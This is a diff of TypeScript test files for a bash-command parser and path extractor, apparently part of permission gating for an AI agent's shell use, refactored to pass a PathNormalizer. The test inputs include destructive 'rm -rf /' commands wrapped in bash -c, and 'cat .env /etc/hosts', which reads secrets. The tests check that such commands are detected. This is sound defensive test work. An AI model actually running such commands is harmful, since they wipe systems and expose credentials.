467
564
|
expect(program.commands()).toEqual([{ text: "FOO=bar" }]);
|
|
468
565
|
});
|
|
469
566
|
|
|
@@ -478,14 +575,14 @@ describe("BashProgram", () => {
|
|
|
478
575
|
['/bin/bash -c "rm -rf /"', '/bin/bash -c "rm -rf /"'],
|
|
479
576
|
['bash -ec "rm -rf /"', 'bash -ec "rm -rf /"'],
|
|
480
577
|
])("flags %s as opaque", async (command, text) => {
|
|
481
|
-
const program = await BashProgram.parse(command,
|
|
578
|
+
const program = await BashProgram.parse(command, normalizer);
|
|
482
579
|
expect(program.commands()).toEqual([{ text, opaque: true }]);
|
|
483
580
|
});
|
|
484
581
|
|
|
485
582
|
it("flags an env-prefixed wrapper as opaque after stripping the prefix", async () => {
|
|
486
583
|
const program = await BashProgram.parse(
|
|
487
584
|
'AWS_PROFILE=prod bash -c "rm -rf /"',
|
|
488
|
-
|
|
585
|
+
normalizer,
|
|
489
586
|
);
|
|
490
587
|
expect(program.commands()).toEqual([
|
|
491
588
|
{ text: 'bash -c "rm -rf /"', opaque: true },
|
|
@@ -498,7 +595,7 @@ describe("BashProgram", () => {
|
|
|
498
595
|
"ls -la",
|
|
499
596
|
"grep -c foo file",
|
|
500
597
|
])("does not flag %s as opaque", async (command) => {
|
|
501
|
-
const program = await BashProgram.parse(command,
|
|
598
|
+
const program = await BashProgram.parse(command, normalizer);
|
|
502
599
|
expect(program.commands()).toEqual([{ text: command }]);
|
|
503
600
|
});
|
|
504
601
|
});
|
|
@@ -506,7 +603,8 @@ describe("BashProgram", () => {
|
|
|
506
603
|
|
|
507
604
|
it("derives both slices from a single parse", async () => {
|
|
508
605
|
const cwd = "/projects/my-app";
|
|
509
|
-
const
|
|
606
|
+
const normalizer = new PathNormalizer(process.platform, cwd);
|
|
607
|
+
const program = await BashProgram.parse("cat .env /etc/hosts", normalizer);
|
|
510
608
|
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
511
609
|
".env",
|
|
512
610
|
"/etc/hosts",
|
|
@@ -18,13 +18,27 @@ vi.mock("node:fs", () => ({
|
|
|
18
18
|
}));
|
|
19
19
|
|
|
20
20
|
import { formatDenyReason } from "#src/denial-messages";
|
|
21
|
-
import { extractExternalPathsFromBashCommand } from "#src/handlers/gates/bash-path-extractor";
|
|
21
|
+
import { extractExternalPathsFromBashCommand as extractWithNormalizer } from "#src/handlers/gates/bash-path-extractor";
|
|
22
22
|
import { formatBashExternalDirectoryAskPrompt } from "#src/handlers/gates/external-directory-messages";
|
|
23
|
+
import { PathNormalizer } from "#src/path-normalizer";
|
|
23
24
|
|
|
24
25
|
afterEach(() => {
|
|
25
26
|
vi.restoreAllMocks();
|
|
26
27
|
});
|
|
27
28
|
|
|
29
|
+
// The production facade now takes a PathNormalizer (platform + cwd baked in);
|
|
30
|
+
// this wrapper preserves the (command, cwd) call shape the suite uses
|
|
31
|
+
// throughout so the projection-correctness assertions stay unchanged.
|
|
32
|
+
function extractExternalPathsFromBashCommand(
|
|
33
|
+
command: string,
|
|
34
|
+
cwd: string,
|
|
35
|
+
): Promise<string[]> {
|
|
36
|
+
return extractWithNormalizer(
|
|
37
|
+
command,
|
|
38
|
+
new PathNormalizer(process.platform, cwd),
|
|
39
|
+
);
|
|
40
|
+
}
|
|
41
|
+
|
|
28
42
|
describe("extractExternalPathsFromBashCommand", () => {
|
|
29
43
|
const cwd = "/projects/my-app";
|
|
30
44
|
|